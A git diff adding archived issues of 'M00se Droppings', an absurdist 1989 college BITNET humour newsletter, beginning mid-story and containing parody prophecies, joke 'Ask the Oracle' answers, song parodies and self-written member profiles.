stop, I was in a small bookstore near the +intersection of Iguana and Vole. Back on an shelf, obscured from light by +several large volumes on iguanas, was a book about m00ses, and how to bribe +them. I immediately bought it and went home. + +I read that a m00se's favorite hobby is building tipping. They like to climb +the elevator shaft horizontally. But m00ses can barely afford the Union +Crew of building tippers required to do this on a regular basis. It is +therefore advantageous for any person dealing with a m00se to have +certificates for Building Tipping by a Union Crew around. + +It must have been my lucky day, as I had seven(!) of them in my wallet. I +won them at an Iguana Feed Distributor's Convention in Deluth, and had no +use for them as I like to climb elevator shafts the regular way -- using a +metal box with aptly numerated buttons. So I hopped in my old truck and flew +(OK, I did 15, but I WANTED to fly) on down to Bullwinkle's place. I offered +the certificates to Bullwinkle if he could knock a few bucks off the price. +I figured he'd knock off four or five hundred. + +Boy was I surprised when he said I could have the little gem for $73. +Seventy three bucks! So I got the car, and blew up my old truck with a +home-made concoction of sodium sumtinorotherate and Vaseline ignited by sugar +and baking soda (it really works, so be careful). + +Immediately, I went down to the disco. I was cool. I was happy. I was just +getting to know a nice young lady of the opposite sex, when the building +was suddenly cleared by a Union Crew of Building Tippers. While tipping the +building, they accidentally dropped it on my St00debaker. + +I thought I was gonna die. My car was ruined. The worst part is that +Bullwinkle was the m00se having the building tipped. + +So I went home and had a martini, smoked a bong full of Fruit Loops, and +took three weeks off from work. While at home those three weeks, I ate only +freeze dried Iguana feed. + +-- Chris M00spaw + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- +Lord Trelf, the guy with the pen, is back! BL000p! + + + Report from the Lansing/Cornell by Lord Trelf. + + During a heavy trance [read: scotch induced stupor] Lord Trelf was +granted a gift of foresight and was shown the future - as a matter of fact, +the time period shown was the last year of the Earth's existence. The +exact date is unknown, and all M00ses are warned to keep alert, and if +they see any of these signs, they are to immediately do anything in their +power to change the course of events - lest the world shall be destroyed +by pillars of flame and ice glaciers flung from the skies!!!! + +January - Soviet Premier Uri Vodkadrinkski seen dancing naked through Gorki + Park. The USSR did nothing to cover this up, nor was Vodkadrinkski + apprehended. The next day he returned to his position, claiming to + have "...absolutely no knowledge of this ridiculous story! It is + a plot by Fidel Castro to discredit me. That petty little man has + been upset ever since I took Cuba away from him!" Premier + Vodkadrinkski then pulled off his shirt and proudly displayed + a tatoo of Mikhail Barishnikov with the popular "Ghostbusters" + logo superimposed over the famous ballet dancer. + + Gun's-N-Roses lead singer Axle shot to death by a man who was + later identified to be none other than Elvis Presley. Mr. Presley + explained in a press release that he had faked his death to get + some peace and quiet and "...to try to forget those awful movies + I made." However, he could no longer take it when GNR released + their Twentieth album, which was a tribute to The King and + featured twelve covers of Elvis' most popular hits. "Hearin' + that stringy little punk singing 'Teddy Bear' just did something + to me," Elvis said. "May he and Priscilla burn in Hell." + +February: The United Nations, NATO, the World Market, and every other + multinational organization were disbanded as Cher was elected + Supreme Empress of All. Cher, who has ordered that from now + on she be referred to as "The Dark Queen", decreed that all + former national rulers be put to death, that every religion be + disbanded, and that all regal gowns henceforth be made of + tinfoil. In a surprise move, she granted a complete pardon + to Elvis Presley, who was sentenced to death by the former + President of North America, President Mitchell Axle, who was + the father-in-law of late Guns-n-Roses lead singer Axle, who + Presley had shot a month ago. Presley was then named + "Consort to the Dark Queen" and took up residence with + Her Darkness. + + Also suprising, pork bellies rose for the three-hundreth day in + a row, make it the highest-priced stock. It just barely edged out + the CleanWipe Corporation, the manufacturers of a Handi Wipe + that was used widely to clean up Exxon oil spills. + +The events which took place in March and April will appear in the next issue + of M00se Dr0ppings. this has been Lord Trelf. +-------------------------------------------------------------------------------- +******************************** ASK THE ORACLE ******************************** +-------------------------------------------------------------------------------- +More "Ask the Oracle" from Hal Eisen... + +- - - - - - - - - - - - - - - - - - - - - - - - - - - +What are some nice things that you can do with a good pair of breasts? + +The Oracle has answered your question as follows: + +Broil them, sautee them, dice them into a salad, or just bake them +and eat them on sandwiches the next day. + +Hey, what's so funny? +- - - - - - - - - - - - - - - - - - - - - - - - - - +Who's the leader of the club that's made for you and me? +And who's trying to depose him? + +The Oracle has answered your question as follows: + +Although we know the answer to the first part of your question is +"Mickey Mouse", it is a little known fact that the famous rodent has +indeed been under a number of attempts to overthrow his reign and +institute a secular democratic state in its place. The last failed +attempt was by a triumvirate consisting of Mighty Mouse, Dangermouse, +and the second of the three mice that ran up the clock. It involved +poisoned cheese and assault mousetraps and was finally foiled by a +friendly white rat working for racial harmony. It is also suspected +the CIA was involved. +- - - - - - - - - - - - - - - - - - - - - - - - - - +Talk dirty to me!!! + +The Oracle has answered your question as follows: + +muck, alluvia, mire, slush, silt, turbidity, stickiness, ooze, bog, +swamp, hardpan, percolation, viscidity, soup, axel, grease, filth, +dung, foulmatter, coprolite, guano, manure, slop, squaler, mud, grime, +smudge, offal, pus, dregs, and dirt will all be served for dinner tonight. +- - - - - - - - - - - - - - - - - - - - - - - - - - +How may we protect ourselves from the twin evils of mayo and tofu? + +The Oracle has answered your question as follows: + +The Oracle has gone to great lengths to answer this question, including +talking in a polite and friendly way to people he would normally commit +to the State Asylum on sight, and accordingly has learned from Those Who +Know (Or Say They Do) the precise astral relationships invoved here. +Because of this, I respectfully urge the esteemed questioner to listen +attentively, because he (or she; we do have some very sensitive females +on this machine) has become involved in some Heavy Doodoo. + + Basically, you seem to have offended the Demigod of Infinite Blandness. +The Demigod of Infinite Blandness has become very touchy about his +reputation on Oracle, as several of his creations have been getting more +than the usual dirt. You have, apparently, aroused his anger. The DIB, +as we shall refer to him, does not dirty his own hands with the affairs +of mere mortals, but rather prefers to leave the job to his servants on +Earth. These are many; but those disciples of his which are most likely +to attack you in the near future are the following: + +1) Mayo. Mayo is the Vice-Demigod of Infinite Blandness, and as such + merits first crack at you. +2) Tofu. +3) Steven Muller. +4) Polyethylene. + +Muller is generally the active force involved in the liquidation, whereas +the other three are generally passive. For example, Muller would, at +midnight, his tan disguised by a healthy application of mayo, sneak into +your front yard, jimmy your lock with a polyethylene lockpick, slime his +way into your bedroom, and temporarily gag and bind you with polyethylene +rope until a Giant Blob of Mayo, which had, after the manner of a +monstrous albino slug, crept up after him through the open door and +managed to embalm you, leaving you mentally intact but physically +paralyzed. Then, like a demon out of some bizarre Biblical parable, he +would stone you to death with bricks of tofu. The methods of the Demigod +of Infinite Blandness are anything but dull. Therefore, though Muller +most likely would be the foot in the door that led the way for the other +Powers of Blandness, you must protect against all of them. My temporary +friends in the exorcism business told me how to do this: + +1) Put a giant sign on your door, saying, "Welcome to Baltimore." This, + to mere bystanders in the Final Armageddon between Oracle and + Blandness, will appear innocuous, if a little bit weird. (However, + your later actions will even more further this side effect, so bear + with me.) Do the same to all the physical entrances to your house. + (Including chimney; Steve has been known to parachute down chimneys + when his master is especially outraged.) If he sees this sign, he will + immediately remember that he is in a city to which he only comes three + times a year (shaking hands with the freshmen, shaking hands with the + seniors, and tuition increases). To come here any other time would + blow his cover. He therefore will return to Bologna, while his Master + broods darkly. + +2) The DIB will then probably try the mayo by itself. However, acting on + its own, Mayo can easily be repelled by anything culinarily opposite + to it. There are many such; my contacts in the Astral Underworld + suggested Tabasco sauce. Mix up a potion of Tabasco sauce, vinegar, + goat cheese, garlic, and any such substances. Smear it around all + entrances to your house. Leave a pot hanging over your door. (NOTE: + As well as an infallible charm against Mayo, this treatment also + removes minor infestations of neighbors, friends, and relatives.) + Carry a bottle of Tabasco sauce always with you for immediate self- + defence. + +3) Stay well away from Oriental groceries, health food stores, Temples + of Blandness, Tofutti stands, and anything else you think may harbour + the dread scourge of Tofu. Tofu is not normally capable of motion on + its own, so no special safeguards on your dwelling are necessary. + However, beware of dull-looking strangers carrying grocery bags. + +4) Remove anything or appliance containing polyethylene or other + suspicious plastics from your home. (Especially your telephone; many + have been strangled by the unsuspectedly animated products of the + American Telephone and Telegraph Co., which by the way is controlled + by the DIB.) If you cannot find a metal substitute and cannot do + without, at least plate it with cold iron. + +Good Luck. Although this is only a minor skirmish in the Endless War +between Oracle and Blandness, I have been informed that the Demigod of +Oracle himself, who we will call by the codename of HJE, has taken an +interest in your case. Happy Dreaming, and don't let the MayoBugs bite! +- - - - - - - - - - - - - - - - - - - - - - - - - - +Want some fries with that? Anything else? + +The Oracle has answered your question as follows: + +Ketchup, salt, a chocolate shake, and a diploma. With cheese. +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + An ID from Bard.. + Chapter Name: Stephanie Manke_____________________________________ + Nickname(s): Bard, Bardwolf, whatever I feel like at the time____ + Life Form: human -- I think____________________________________ + Sex: Male ___ Female XXX Hermaphrodite ___ Other ___ + (ok, so I had to give a straight answer at some point) + Net Address: 24945863@WSUVM1__ Purity Quotient: NOYB*__% + Description: tall(almost 6'), not so thin anymore(looked 1/2 ____ + starved thru high school), straight brown hair,_____ + green eyes(basically), semi-classy black wire-rim___ + glasses most the times(also have contacts, which I + haven't been wearing) usually clad in a very bum-like + fashion -- sweats, sweatshirt, running shoes + Favourite Saying: "Beware the superfically profound"__________________ + Other Stuff: I like animals(have 3 cats), computers, books, things + Celtic(esp music/tales), New Age music, fantasy/sf/_ + books in general(oops, said that already), beaches__ + forests, fires(but not forest fires), history, chess + RPGs, and several dozen etc's______A_________________ + Things I Hate: CROWDS, most vegetables(esp cooked) + yapping dogs, irresponsible apartment-mates('tis a + long and sad tale) this, of course, is only a sample + + * None of Your Business +-------------------------------------------------------------------------------- +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD +-------------------------------------------------------------------------------- +Lord Trelf's ID... + +Name: Frank J. Orzechowicz [sounds better in Polish] +Nicks: Lord Trelf, Wolverine, "That Son of a *****" +Net Address: TQMY@CRNLVAX5 +Sex: Very infrequently {Male} +Purity Quotient: Very high {See heading titled "Sex"} +Favorite Saying: "Yo" {Old Philadelphia Greeting} +Most Frequently Said Line: "Yeah, I'm job hunting again." +Most Wished-To-Be-Heard Line: "*I* don't think you look like a Troll..." +Description: Six feet even, 240 pounds, former weight lifter. [None of the + definition I once had, but I could probably bench press you.] + Brown hair, brown mustache and beard with streaks of blond and + occasionally a gray hair or two {see heading titled "Most + Frequently Said Line"}. Enjoy attending Ren Faires, wenches who + attend Ren Faires {long story}, Pro Wrestling, reading, writing + {Still attempting to be a published author.}, listening to + "Flight of the Valkyrie" and "Toccata and Fugue in D Minor", + and killing fish with The Innkeeper and Spaceman Biff. [though + we've never managed to kill any this season, and I've never fished + with Biff, but hey, who's keeping a score card?????] +Least Favorite-Heard Saying: "Ya' know, you really DO look like a Troll...." +Thirty-First Favorite Saying: "EVIL pure and simple from the 8th Dimension!" + {Happy now Roo????} +Goals in Life: To become and published and wealthy author in the next few + years {so I never again have to say "Yeah, I'm job hunting + again."} To learn the meaning of life and to find the woman + of my dreams. {Preferably in the next two months.} And to + give George Michael a black eye. + +The One Thing I'd Like To Tell You All: "Go get drunk." + +-------------------------------------------------------------------------------- +SWIMSUIT-ISSUE-SWIMSUIT-ISSUE-SWIMSUIT-ISSUE-SWIMSUIT-ISSUE-SWIMSUIT-ISSUE-SWIMS +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se26 b/textfiles.com/magazines/M00SE/m00se26 new file mode 100644 index 00000000..8963cd85 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se26 @@ -0,0 +1,429 @@ +-------------------------------------------------------------------------------- +BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP- +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #26| Disclaimer: The Editors will place almost anything | JUNE 2, 1989 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame them for the quality or content of the submissions. +Excepting those they may have written themselves, the enclosed items do not in +any way represent the Editors' opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- +%$#& BEEP! + + Greetings, as I sit here writing this editorial the alarm system here at +CTSTATEU has beeped 36443 times since Tuesday. Having technical difficulties +all week long..arrrrrrrrrg!!! Bet Batman wouldn't have to put up with this.. +*grumble*.. Which, by the way, is what this editorial is really about. Salmon +and I were wondering how many M00ses around the CT. area are interested in +having a M00sey get-together and see BATMAN. If interested, send mail to +our Bitnet Addresses or call 224-7835. We can figure out arrangements and such +then. + + - Goblin WITHALL@CTSTATEU (Bitnet) + - SalmonM00se LEE_JES@CTSTATEU (Bitnet) + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- +Reports of a Mini-Thr0ng-A-Th0n taking place in Connecticut have been proven +true. Those of you interested contact WITHALL@CTSTATEU (Goblin). +- - - - - - - - - - - - - - - - - - - - +If interested in M00se Illuminati T-SHIRT's contact DICKSON@HARTFORD. +- - - - - - - - - - - - - - - - - - - - + May, 26 1989 +My fellow m00ses, + + Tomorrow, my brother (Scub) and I leave for England. We will be there for +two weeks, doing field research for our book, _M00ses_Abroad_. The work will +be very strenuous, and quite possibly dangerous, as there are many hostile +secret societies in Europe who would love to see the M00se Illuminati wiped +out. + + We will attempt to follow up on the translation of the Pnakotic +Manuscripts, which ended so tragically (as reported in M00se Dropping several +issues back). In addition, we will be searching for the legendary M00sehenge-- +the gigantic m00se shrine of which Stonehenge is rumoured to be a poor +imitation. + + As we may never meet again, I wish to impart some wisdom before I go. +However, I haven't got any. So here is somebody else's: + + I admit that I ain't no angel, I admit that I ain't no saint + I'm selfish and I'm cruel, but you're blind + If I exorcise my devils, well my angels may leave too + And when they leave, they're so hard to find + So please call me baby, wherever you are + It's too cold to be out walkin' the streets + We do crazy things when we're wounded, everyone's been insane + And I don't want you catchin' your death of cold out walkin' in the rain + + -Tom Waits + Of course, Tom Waits also said: + + Never trust a man in a blue trenchcoat, + Never drive a car when you're dead. + + So maybe his wisdom isn't really worth that much. So let's try Elvis +Costello, who said that America is "a trick they do with mirrors and with +chemicals." Of course, Elm00se C0stell0 said it was "a trick they do with +m00ses and with assorted nutritious hostess products." Which is true? You +decide. On June 10, when I return, if I return, I will attempt to bring a +Eurom00sean point of view with me, so that we may perhaps see things more +clearly. Or less. Whichever is more desirable. + + Fare thee well. I hate being watched and monitored. We can and will +police ourselves. + + Pickle. + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +And now, the next installment of The Prophecies of the End of Time +by resident seer [read: Drunken Sot] Lord Trelf. + +March: + While roaming the countryside of England, a small schoolboy + discovers the legendary sword Excalibur jutting out of a large stone. + Within a week millions of people are arriving in England attempting + to pull the sword from the stone and become King. Margaret Thatcher + commits suicide after failing miserably to pull the sword from + its resting place. Several professional wrestlers attempt, and + fail. Finally, one man does succeed in freeing the sword: + Richard Simmons. He declares himself King Richard of the + Low BodyFat Content and declares England and the rest of Great + Britain free of The Dark Queen's rule. + + Cher, The Dark Queen, refuses to recognize King Richard's claim, + but does not wish to confront him immediately. Instead, she declares + England a penal colony and begins to deport criminals, the insane, + and elderly fat women to England. + + Japanese computer designers created the first voice-activated + computer. The technology was stunning, but there were problems + due to the fact that the computers refused to work if not spoken + to in a polite, cultured tone. They absolutely refused to + cooperate with most civil servants, university students, or + office workers. + +April: + King Richard gladly accepts those sent to his Kinda' New England, + and immediately begins to put them through extensive training + programs. In four week's time he has them whipped into shape + and forming a formidable army. It is suspected that he is + planning to to someday openly face The Dark Queen in battle. + + Envoy Software has created a program which allows even the + most surly of users to use Japan's voice-activated computer, + The BabbleTalk 2000. + + Pork bellies have begun to slide down in the market following + the accidental death of a five year old girl in Iowa. She fed + some of the pork bellies to her pet pig, who then became enraged + and chewed the girl to little tiny bits. + + New Zealand was over-run by armies of sheep, who slaughtered + all humans on the small island and set up their own government. + King Richard announced he planned to send an army to reclaim + the province of Great Britain. It is rumored that The + Dark Queen was behind the attack. + +That is all for now. I, the Seer, Lord Trelf, shall bring you the +dark tiding of May and June in the next issue. + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +Here are the words to the song "Them M00se G00sers", as I mentioned in an +earlier post. I taped it off the Dr. Demento show back in '82. + +It's in 4. Stomp on 1 and 3, clap on 2 and 4. + +"Them M00se G00sers" + +How 'bout them m00se g00sers, ain't them cl00se +Up in them b00ndocks, g00sin' them m00se +G00sin' them huge m00se, g00sin' them tiny +G00sin' them medley m00se in they hiney + +L00k at them m00se g00sers, ain't they dumb +Some use an umbrella, some use a thumb +Then up to sn00ze g00sers, sneakin' through the w00ds +Pokin' them sn00zy m00se in they g00ds + +How to be a m00se g00ser? It'll turn ya puce! +Get your g00ser l00se and 'rouse a drowsy m00se! + +(If you want to hear the tape, ask me and I can play it for ya. +I'm not sure on a few of the words, though.) + +-B0B D0BBS M00SE + +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + + To All the M00se I've Loved Before + ================================== + + To all the m00se I've loved before, + who've wandered in and out my door, + I'm glad they came along, + I dedicate this song, + To all the m00se I've loved before. + + To all the m00se who've cared for me, + who made me bellow with melody, + I'm glad they sang along, + I hereby leave this song, + To all the m00se who've cared for me. + + To all the m00se who've kissed my nose, + who made me glance down at my toes, + I'm glad they glanced along, + I sanctify this song, + To all the m00se who've kissed my nose. + + To all the m00se I've loved before, + who've trampled on and off my floor, + I'm glad they stomped along, + I dedicate this song, + To all the m00se I've loooooo-ved be-fooooooore! + + BritM00se and Mel0dy the Musical M00se + +-------------------------------------------------------------------------------- +******************************** ASK THE ORACLE ******************************** +-------------------------------------------------------------------------------- +More "Ask the Oracle" from Hal Eisen... +- - - - - - - - - - - - - - - - - - - - - - - - - - - +What's the chemical symbol for granola? It must be an element, since +it's impossible to break down (especially with your teeth). + +The Oracle has answered your question as follows: + +Although granola does not break down with the teeth, it must be noted +that a megawatt CO2 laser will send little granola bits flying into the +nearest wall. The chemical symbol for granola varies with the brand, and +is usually listed (as per federal laws) on the label. The most common +formula is hexachlorodiphenylnitrotoluenatdekafluoromuraphosphobenzonitro- +chlorodipentaoxymegahydrousatamylpolypropoteflonatetriphosphopropylene. +Granola is best drank in a ten molar solution in milk. +- - - - - - - - - - - - - - - - - - - - - - - - - - +What is the meaning of life? + +The Oracle has answered your question as follows: + +(editor's note--you really thought a lot on this one, didn't you?) + +The meaning of life is not something that can be easily expressed +in words. It must be experienced. I suggest the following steps. + +1. Carve your initials in a large bowl of water. This should +help you understand that life is a temporary, transient thing. +It should also give you a keen grasp on futility. + +2. Buy a Coke, or whatever soda you like, drink it, and then pretend +to continue drinking out of the can, even though there's nothing +left. If you are convincing, you are (to everyone else) functionally +equivalent to a person actually drinking Coke, and thus, according +to many philosophers, you are actually drinking Coke. This will either +make you realise how inane philosophers are or cause you to gain weight, +have lots of cavities, and disappear whenever not thinking, depending +on whether you fall for it. + +3. Think about what it would be like to be a vegetarian who only +ate meat. + +4. Repeat step 3, but this time pretend it's really deep instead of +just a stupid contradiction. These steps will illustrate the fine +line between something meaningful and something you shouldn't waste +your time doing. In this case it's the latter made meaningful by +your search for understanding. At least it tries. + +5. Play Oracle some more. This won't help you with the meaning of +life, but it will amuse Hal, especially if you put some thought into +your answers. Or, dare I say it, your questions. + +6. send money to Chad. This is very important. + +7. Repeat step 6, until poverty prevents you. Then call Stacy. + +8. Go to a meeting of the Hopkins Christian Fellowship. Or don't. +Personally, I wouldn't. It's up to you. + +9. There is no step 9. If you haven't got it by now, face it, you're +like all the rest of us. +- - - - - - - - - - - - - - - - - - - - - - - - - - +Give 7 reasons why Steven Muller is REALLY resigning. + +The Oracle has answered your question as follows: + +(drumroll.....................) + +Reason no. 10: There is NO reason no. 10 (hey, you only asked for +seven....) + +for 9 and 8, see 10. + +Reason no. 7: Muller is actually an alien sent to Earth to learn about +Hofstra. He just realised he's at the wrong school. + +Reason no. 6: His doctor told him he has to stay out of the sun, and +he doesn't want to disappoint his "tan-fans," so he's going into hiding. + +Reason no. 5: He's just going into hiding. + +Reason no. 4: Reagan created a huge deficit and left office...monkey +see, monkey do. + +Reason no. 3: He couldn't handle the guilt about APL. + +REAL Reason no. 3: (I mean, you weren't going to buy the guilt bit, +were you?) He's tired of suffering biting sarcasm at the hands of +James Rosen. + +Reason no. 2: He secretly believes he's the descendant of Ludwar +Gassergeth, and wants to bring Frivenmirk back to its former days +of glory. + +Reason no. 1: He's a poofta. +- - - - - - - - - - - - - - - - - - - - - - - - - - +A black cat crossed my path the other day. What shall I do? + +The Oracle has answered your question as follows: + +There are several possible courses of action that I, the inphallible +Oracle (that is NOT a spelling error) believe you are worthy of hearing. + +1: Cross its path. (the get-even method) +2: Cuss and spit. (the get-mad method) +3: Take solace in the company of a member of the opposite sex (or the +member of a member of the opposite sex if you are of that bent) + (the get-laid method) +4: Using time travel, erase the incident from your particular space-time +continuum by staying in bed that day. For advice on how to accomplish this plea +se refer to #3. (the get-back method) +5: Laugh it off! These superstitions are silly. (the get-real method) +6: Pillowcase Nightshade painted whisper (the get-surreal method) + +goodnight! +- - - - - - - - - - - - - - - - - - - - - - - - - - - +Does the Oracle Master ever need appeasing, and if so, where do we send +donations, virgins, and sacrifices? + +The Oracle has answered your question as follows: + +Yes, the Oracle Master has quite the bizarre taste for +bimbos and various buxom serving wenches. + +All one needs to do is take them into Rowland 205 and +throw them over the railing while chanting, + + "ooooh oooooh Muller mania." + +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + +Chapter Name: John Doty +Thr0ng Name: Wesleyan U. +Nicknames: The Keeper, Far Voyager, Dotimonster, Sveyn Egilsson (SCA) +Lifeform: Human, mostly +Sex: M:XXX F:___ Hem:___ Oth:___ + +Net Address: JDOTY@WESLEYAN.BITNET Purity Quotient: 64.7% (247) + JDOTY@EAGLE.WESLEYAN.EDU 66.0% (400) + +Tangible Addresses: 54 Home Ave, Middletown, CT "Where I Am" + 3655 Anderson Creek Rd., Talent, OR "Where I Want to Be" + +Description: 74 inch Biped, Medium Build, Dark hair (sometimes..."I'm in + disguise...this way no-one will recognize me") and perfect blue + eyes. Boyish good looks that last only several hours after shaving. + +Scatian Device: Argent, 3 piles en point azure, a swan displayed sable. + +Favourite Sayings: "Just crank the Volume to the Point of Pain. Why waste good + music on a Brain?" -Heavy Duty Rock and Roll - Spinal Tap + "Game over, Man!!" -Hudson, _Aliens_ + "In Odin, we trust...all others pay in Rataan" - Kveldulf + +Most seen Movies: 1.Star Wars Most Liked Movies: 1.Bladerunner + 2.Bladerunner 2.Empire Strikes Back + (tie)2.Highlander 3.Raising Arizona + +Musical Taste(?): Van Halen, Queen, Wynton Marsalis, Sting, Styx, Prince, + Journey, _Les Miserables_, DCI (spec. Velvet Knights, + Blue Devils), Paul Simon (w/ and w/o Art), G'n'R, Jethro + Tull, Billy Joel, and many more + +Miscellaneous: Ex-Officio, Wes. U. Strategic Games Club, "The folks who brought + you ADVENTURE I - V" + RPGer (Champions, Traveller, M.E.R.P., AD&D {no, really}) + Comic buyer (inc. LSH {DC} since 1977 {#224}, ugh) + Soccer addict (and, of course, Intramural Weekend Warrior) + Literate (barely) in Elvish (Quenya, Sindarin, Feanorian script) + Stick Jock, Armorer, Herald - SCA (Ulfgaard, Dragonship Haven) + Theater Major, class of '90, Acting (and hating it right now) + System Operator, Wes Comp Ctr. + Stuck in Middletown, CT all summer (call before you visit) + and Oregonian. (that's someone from Orygun, state #39) + +-------------------------------------------------------------------------------- +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD +-------------------------------------------------------------------------------- + +Chapter Name: Richard Willey +ThrOng Name: Wesleyan U. +Nicknames: The Duke of Chaos, Aegnor, Aggressor of the Faith, + Lord Hrothgar Hrolfsson (SCA) +Lifeform: Disputed Purity quotient: 26% (100) +Sex: M:XXX F:___ Hem:___ Oth:___ 37% (400) +Net Address: RWILLEY@WESLEYAN.BITNET +Tangible address: 54 Home Ave, Middletown CT. (this summer) + Bloomington Indiana (the next five years - aarrgggghh!!!!) +Description: perpetual 18 year old, "a kill crazed ferret", an econ god with + a lust for blood, 72 inches tall, devastatingly cute, brown hair, + hazel eyes, what a manical wood elf would want to look like. +Scatian device: Counter ermine, on a lozenge argent, a wolf's head sinister, + erased, sable, a chief indented argent. +Favorite sayings: "Let's kill them anyway" - Hrothgar + "People will give their lives for an idea if its very big + and they don't understand it well" - the Artifical Kid + "Make no small plans, they have no power to stir men's + blood" - Daniel Hudson Birnham + "Lord Willey would like a table for two for this friday + night" - Jennifer Minz (social secretary to "Lord Willey") + making reservations at Le Bec Fin wednesday night +Musical taste: the Art of Noise, Fleetwood Mac, Pyschedelic Furs, 'til Tuesday, +Miscellaneous: all time tunnel assassin champion, truly believes economics will + make to world a better place, Ninja high School Rocks, SCA stick + jock/wire weinie, Herbet Scoville Junior Peace Fellow, believes + squirrels are messengers God, ALWAYS in search of a Splash and + Bash. + +-------------------------------------------------------------------------------- +BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP-BEEP- +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se27 b/textfiles.com/magazines/M00SE/m00se27 new file mode 100644 index 00000000..2e8b6032 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se27 @@ -0,0 +1,488 @@ +-------------------------------------------------------------------------------- +Noah's Ark Edition-Noah's Ark Edition-Noah's Ark Edition-Noah's Ark Edition-Noah +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #27| Disclaimer: The Editors will place almost anything | June 19, 1989 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame them for the quality or content of the submissions. +Excepting those they may have written themselves, the enclosed items do not in +any way represent the Editors' opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- +Greetings, + + Summer is truly here, and with it (as usual) is the age old question, "What +is there to do now?!?" To combat summer doldrums, here are some silly M00sey +things to do: + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Drink papaya juice (for GypsyLynx) + Have a M00se Thr0ng-A-Thon + See Batman!!!! + Read the _Illuminatus!_ Trilogy + See Star Trek V + Eat Illuminati Bars + Eat Hostess Twinkies (not the Strawberry ones *blech*) + Go fishing (Spaceman Biff!) + Play the Illuminati game (a personal fav. of CTSTATEU) + Write articles for M00se Droppings + Read Ann Rice's Vampire books (very good and weird) + Visit Connecticut *grin* (plug) + Bl00p at Bavarians! + Plague Starfire!!! (send her E-mail, she loves it!) + Invite Strange M00ses to your neck of the woods.. + Visit the Pink Iguana Tavern! + Have a Scamp sighting.. + Send Pickle champagne :*) + Have a Lord Sabre sighting... + Write articles for M00se Droppings + Bl00p at tourists... + Visit Connecticut for a Mini-Thr0ng-A-Thon! + See Buckaroo Banzai for the 10th time! + Visit with your fellow M00ses!! + Write articles for M00se Droppings + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + +If you still can't think of anything to do...well, you can always send E-mail +to Starfire, just saying hello.... *evil grin* + + - Goblin WITHALL@CTSTATEU (Bitnet) + - SalmonM00se LEE_JES@CTSTATEU (Bitnet) + +Gee thanx Frank...it's been raining for the past three weeks now... glub glub.. + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + We M00ses in CT are planning on making Batman the Movie a M00sey event! What +M00sey things are happening in the rest of the world? So far the Wesleyan +crowd, Trinity and Hartford are interested in attending. Batman is supposed to +be making his big debut on June 23! For info on meeting and etc..call me +(goblin) at 224-7835 or send E-Mail +- - - - - - - - - - - - - - - - - - - - + Reports of a Mini-Thr0ng-A-Th0n taking place in Connecticut have been proven +true. Those of you interested contact WITHALL@CTSTATEU (Goblin). The weekend +of the 